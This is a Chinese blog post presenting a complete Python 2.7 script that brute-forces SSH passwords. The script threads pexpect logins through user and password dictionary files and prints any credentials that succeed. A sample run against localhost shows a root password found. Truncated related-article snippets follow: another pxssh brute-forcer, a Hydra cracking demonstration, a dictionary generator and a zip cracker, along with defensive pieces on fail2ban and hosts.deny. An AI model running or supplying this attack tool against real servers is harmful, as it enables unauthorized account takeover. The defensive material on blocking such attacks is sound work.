利用python暴力破解ssh

 1 # -*- coding:utf-8 -*-
 2 #python 2.7
 3
 4 import optparse,sys,threading
 5 import pexpect
 6
 7 PROMPT = [‘#‘,‘>‘,‘/$‘]
 8 def ssh(host,user,password):
 9     child = pexpect.spawn(‘ssh %[email protected]%s‘ % (user,host))
10     ret = child.expect([‘(?i)are you sure.*‘,‘(?i)password:‘,pexpect.TIMEOUT,pexpect.EOF])
11     #print child.before
12     if ret == 0:
13         child.sendline(‘yes‘)
14         child.expect(‘[pP]ssword:‘)
15         child.sendline(password)
16         try:
17             ret0 = child.expect(PROMPT)
18             if ret0 in (0,1,2):
19                 #print child.before
20                 print ‘[+] 已经连接0‘
21                 print ‘<*>用户是:‘ + user
22                 print ‘<*>密码是:‘ + password
23                 #return child
24         except:
25             print ‘[-]连接失败0,密码错误!‘
26     elif ret == 1:
27         child.sendline(password)
28         try:
29             ret1 = child.expect(PROMPT)
30             print child.before
31             if ret1 in (0,1,2):
32                 #print child.before
33                 print ‘[+] 已经连接1‘
34                 print ‘<*>用户是:‘ + user
35                 print ‘<*>密码是:‘ + password
36                 #return child
37         except:
38             print ‘[-]连接失败1,用户或密码错误!‘
39     else:
40         print ‘[-] 连接失败2‘
41
42 def main():
43     usage = ‘Usage:%prog <-H host> <-U user.txt> <-D dictionary.txt>‘
44     parser = optparse.OptionParser(usage,version=‘%prog v1.0‘)
45     parser.add_option(‘-H‘,dest=‘target_host‘,type=‘string‘,
46                       help=‘目标主机‘)
47     parser.add_option(‘-U‘,dest=‘user‘,type=‘string‘,
48                       help=‘ssh用户‘)
49     parser.add_option(‘-D‘,dest=‘dictionary‘,type=‘string‘,
50                       help=‘密码字典‘)
51     (options,args) = parser.parse_args()
52     if  (not options.target_host) | (not options.user) | (not options.dictionary):
53         print parser.usage
54         exit(0)
55     else:
56         target_host = options.target_host
57         users = options.user
58         passwords = options.dictionary
59     users = open(users)
60     passwords = open(passwords)
61     #i = 0
62     for user in users:
63         user = user.strip(‘\r\n‘)
64         #print user + str(i)
65         #i = i + 1
66         passwords.seek(0)#回到密码文件行首
67         for password in passwords:
68             password = password.strip(‘\r\n‘)
69             #print user
70             t = threading.Thread(target=ssh,args=(target_host,user,password))
71             t.start()
72
73 if __name__ == ‘__main__‘:
74     main()

测试运行结果为:

python Sshconector.py  -H 127.0.0.1 -U user.txt -D password.txt

Linux HOSTKALI 3.18.0-kali1-amd64
[+] 已经连接1
<*>用户是:root
<*>密码是:xxxxxxx
[-]连接失败1,用户或密码错误!
[-]连接失败1,用户或密码错误!
[-]连接失败1,用户或密码错误!
[-]连接失败1,用户或密码错误!
[-]连接失败1,用户或密码错误!
[-]连接失败1,用户或密码错误!
[-]连接失败1,用户或密码错误!
[-]连接失败1,用户或密码错误!
[-]连接失败1,用户或密码错误!
[-]连接失败1,用户或密码错误!
[-]连接失败1,用户或密码错误!
时间: 2025-01-10 05:01:11

利用python暴力破解ssh的相关文章

Python3小工具——暴力破解ssh

一.工具说明 利用pxssh库进行暴力破解ssh 二.演示一下的利用效果 三.代码+注释 from pexpect import pxssh import argparse import threading maxConnetions = 5 connect_lock = threading.BoundedSemaphore(value=maxConnetions) def connect(host, user, password):     try:         s = pxssh.pxs

Linux 利用hosts.deny 防止暴力破解ssh(转)

一.ssh暴力破解 利用专业的破解程序,配合密码字典.登陆用户名,尝试登陆服务器,来进行破解密码,此方法,虽慢,但却很有效果. 二.暴力破解演示 2.1.基础环境:2台linux主机(centos 7系统).Development Tools. 主机ip:192.168.30.64 (服务器端).192.168.30.64(客户端+ 暴力破解[Hydra]) 在30.63上进行暴力破解30.64 2.2 客户端上安装 破解程序 hydra.关于该程序的详情请去官网. 安装该软件的依赖环境: [[

Linux 利用hosts.deny 防止暴力破解ssh

一.ssh暴力破解 利用专业的破解程序,配合密码字典.登陆用户名,尝试登陆服务器,来进行破解密码,此方法,虽慢,但却很有效果. 二.暴力破解演示 2.1.基础环境:2台linux主机(centos 7系统).Development Tools. 主机ip:192.168.30.64 (服务器端).192.168.30.64(客户端+ 暴力破解[Hydra]) 在30.63上进行暴力破解30.64 2.2 客户端上安装 破解程序 hydra.关于该程序的详情请去官网. 安装该软件的依赖环境: [[

fail2ban-防止用户暴力破解ssh工具

关于fail2ban: fail2ban可以监视你的系统日志,然后匹配日志的错误信息(正则式匹配)执行相应的屏蔽动作(一般情况下是防火墙),而且可以发送e-mail通知系统管理员,很好.很实用.很强大!  简单来说其功能就是防止暴力破解.工作的原理是通过分析一定时间内的相关服务日志,将满足动作的相关IP利用iptables加入到dorp列表一定时间. 实战场景: 最近公网网站一直被别人暴力破解sshd服务密码.虽然没有成功,但会导致系统负载很高,原因是在暴力破解的时候,系统会不断地认证用户,从而

python 暴力破解密码脚本

以下,仅为个人测试代码,环境也是测试环境,暴力破解原理都是一样的, 假设要暴力破解登陆网站www.a.com 用户 testUser的密码, 首先,该网站登陆的验证要支持 无限次的密码尝试 假设testUser 的密码为 6位的纯数字 1:先长成 6位纯数字密码字典 import os pds=[] rg=range(0,10) for first in rg: for second in rg: for three in rg: for four in rg: for five in rg:

python暴力破解root密码

环境准备:     1.安装paramiko模块     2.服务器ssh服务开启22号端口             下面请看代码 #!/usr/bin/py #-*- coding: utf-8 -*- import paramiko ssh = paramiko.SSHClient() #实例化类 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #连接时自动回答为yes d = file('/root/a.txt') #字典

python暴力破解加密zip文档

由参加的一个安全大赛来的.flag文件在一个加密的zip文件里面,密钥为6-8位的数字.写了个python脚本进行暴力解压缩. 运行速度还挺快,如下是运行结果:

centos 7 DenyHosts 安装 防暴力破解ssh登陆

为了减少软件扫描ssh登陆 还是用这个比较好点  默认端口号22 也要改 登陆密码也不要使用 弱口令 123456 这样的 Description DenyHosts is a python program that automatically blocks ssh attacks by adding entries to /etc/hosts.deny. DenyHosts will also inform Linux administrators about offending hosts,

防止暴力破解ssh远程连接

一.系统:CentOS 6.5 64位 二.方法:读取/var/log/secure,查找关键字 Failed,例如(注:文中的IP地址特意做了删减): Sep 17 09:08:09 localhost sshd[29087]: Failed password for root from 13.7.3.6 port 44367 ssh2 Sep 17 09:08:20 localhost sshd[29087]: Failed password for root from 13.7.3.6 p